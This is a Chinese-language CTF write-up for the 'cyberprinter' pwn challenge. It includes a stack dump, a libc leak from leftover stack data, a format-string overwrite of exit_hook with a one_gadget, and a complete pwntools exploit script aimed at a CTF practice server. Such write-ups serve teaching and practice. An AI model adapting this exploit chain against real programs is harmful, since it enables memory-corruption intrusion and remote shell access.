分析过程
观察栈结构
这题的关键(对我来说)就是利用栈上残留的数据。平时练的不多,没有这个习惯,导致泄露和格式化字符串利用都遇上了麻烦。
vuln函数里的栈结构如下:
00:0000│ rsp 0x7fffffffdfe0 ◂— 0x0
... ↓ 2 skipped
03:0018│ 0x7fffffffdff8 —▸ 0x7ffff7fb55c0 (_IO_2_1_stderr_) ◂— 0xfbad2087
04:0020│ 0x7fffffffe000 ◂— 0x0
05:0028│ 0x7fffffffe008 —▸ 0x7ffff7e5a525 (_IO_default_setbuf+69) ◂— cmp eax, -1
06:0030│ 0x7fffffffe010 ◂— 0x0
07:0038│ 0x7fffffffe018 —▸ 0x7ffff7fb55c0 (_IO_2_1_stderr_) ◂— 0xfbad2087
08:0040│ 0x7fffffffe020 ◂— 0x0
09:0048│ 0x7fffffffe028 ◂— 0x0
0a:0050│ 0x7fffffffe030 —▸ 0x7ffff7fb14a0 (_IO_file_jumps) ◂— 0x0
0b:0058│ 0x7fffffffe038 —▸ 0x7ffff7e5653d (_IO_file_setbuf+13) ◂— test rax, rax
0c:0060│ 0x7fffffffe040 —▸ 0x7ffff7fb55c0 (_IO_2_1_stderr_) ◂— 0xfbad2087
0d:0068│ 0x7fffffffe048 —▸ 0x7ffff7e4cc3c (setbuffer+204) ◂— test dword ptr [rbx], 0x8000
0e:0070│ 0x7fffffffe050 —▸ 0x7ffff7fd15e0 (dl_main) ◂— endbr64
0f:0078│ 0x7fffffffe058 —▸ 0x5555555553f0 (__libc_csu_init) ◂— endbr64
10:0080│ 0x7fffffffe060 —▸ 0x7fffffffe080 —▸ 0x7fffffffe090 ◂— 0x0
11:0088│ 0x7fffffffe068 —▸ 0x555555555140 (_start) ◂— endbr64
12:0090│ 0x7fffffffe070 —▸ 0x7fffffffe180 ◂— 0x1
13:0098│ 0x7fffffffe078 —▸ 0x55555555526d (init+68) ◂— nop
14:00a0│ rbp 0x7fffffffe080 —▸ 0x7fffffffe090 ◂— 0x0
15:00a8│ 0x7fffffffe088 —▸ 0x5555555553e4 (main+28) ◂— mov edi, 0
其中,第一个输入的buf
变量存放在rsp即栈顶位置,第二个输入点的变量s
存放在rsp+10的位置。另外,我们看到buf
溢出后刚好连接到存放_IO_2_1_stderr_
地址的位置。
泄露libc
程序vuin
中buf
溢出了8个字节长度刚好连接到之前设置无IO缓冲的setbuf
函数压入栈中的_IO_2_1_stderr_
:
这里0x7fffffffdfb0就是buf在栈上的地址,写满0x18位之后,输出字符串没有0截断,可以直接输出_IO_2_1_stderr_
的地址。
计算得到libc基址。
格式化字符串
把ogg写入exit_hook
,同时把_start
写入返回地址,因为exit_hook
只能由判断pPxX
的代码块里exit
触发(main
函数里的_exit
是不同的)。
这里因为开启了PIE
和ASLR
,所以需要爆破。_start
函数的后三位已知,第4位需要爆破。返回地址第2位也需要爆破。
Exploit
最终exp如下:
from pwn import *
from capstone import *
from capstone import x86
debug = False
local_path = './cyberprinter'
remote_path = 'node4.buuoj.cn'
remote_port = 25044
file = ELF(local_path)
libc = ELF('./libc-2.31.so')
context.binary = local_path
if debug:
io = process(local_path)
context.terminal = ['cmd.exe', '/c', 'wt.exe', 'bash', '-c']
context.log_level = 'debug'
else:
io = remote(remote_path, remote_port)
# get __run_exit_handlers addr based on offset of exit
def get_run_exit_handlers(libc):
code = libc.data
off = libc.sym['exit']
md = Cs(CS_ARCH_X86, CS_MODE_64)
md.detail = True
# look for ptr offset
ptr_run_exit_handlers = None
for insn in md.disasm(code[off:], off):
if insn.mnemonic == 'call':
for operand in insn.operands:
if operand.type == x86.X86_OP_IMM:
ptr_run_exit_handlers = operand.value.imm
break
if ptr_run_exit_handlers:
break
if ptr_run_exit_handlers is None:
return None
return ptr_run_exit_handlers
# get __libc_atexit addr based on offset of __run_exit_handlers
def get_libc_atexit_addr(libc):
code = libc.data
off = get_run_exit_handlers(libc)
md = Cs(CS_ARCH_X86, CS_MODE_64)
md.detail = True
# look for ptr offset
ptr_libc_atexit = None
for insn in md.disasm(code[off:], off):
# print("0x%x+%u:\t%s\t%s" % (off, inst.address-off, inst.mnemonic, inst.op_str))
if insn.mnemonic == 'lea' and len(insn.operands) == 2:
dest, src = insn.operands
if dest.type == x86.X86_OP_REG and insn.reg_name(dest.value.reg) == 'rbx':
if src.type == x86.X86_OP_MEM and insn.reg_name(src.value.mem.base) == 'rip':
ptr_libc_atexit = insn.address + insn.size + src.value.mem.disp
if ptr_libc_atexit:
break
if ptr_libc_atexit is None:
return None
return ptr_libc_atexit
def b():
gdb.attach(io)
input()
def exp():
one_gadget = [0xe6aee, 0xe6af1, 0xe6af4]
io.sendafter(b"pls..",b'a'*0x10+b'Nameless')
io.recvuntil(b'Nameless')
libcbase = unpack(io.recvuntil(b'!')[:-1].ljust(8, b'\0')) - libc.sym['_IO_2_1_stderr_']
log.success('leak libcbase:'+hex(libcbase))
exit_hook = libcbase + get_libc_atexit_addr(libc)
log.info("exit hook:"+hex(exit_hook))
ogg = libcbase+one_gadget[0]
A = (ogg&0xffff) % 0x10000
B = (((ogg>>16)&0xffff) - A) % 0x10000
C = (0x5140 - A - B) % 0x10000
payload = "%{}c%20$hn%{}c%21$hn%{}c%22$hn".format(A, B, C).encode()
payload = payload.ljust(8*12, b'a') + pack(exit_hook) + pack(exit_hook+2) + b'\x58'
io.sendafter(b'do sth', payload)
io.recvuntil(b'you want!')
log.success('payload exec')
io.sendafter(b"pls..", b'deadbeef')
io.sendafter(b'do sth', b'pPxX')
io.recvuntil(b'bad luck')
log.success('get shell')
io.interactive()
if __name__=='__main__':
while True:
try:
exp()
except:
io.close()
io = remote(remote_path, remote_port)
其中定位exit_hook的函数是我自己写的,原理参考:Python解析libc未导出符号
Get Shell
总结
- format string
- exit_hook
- 多调试,多观察栈结构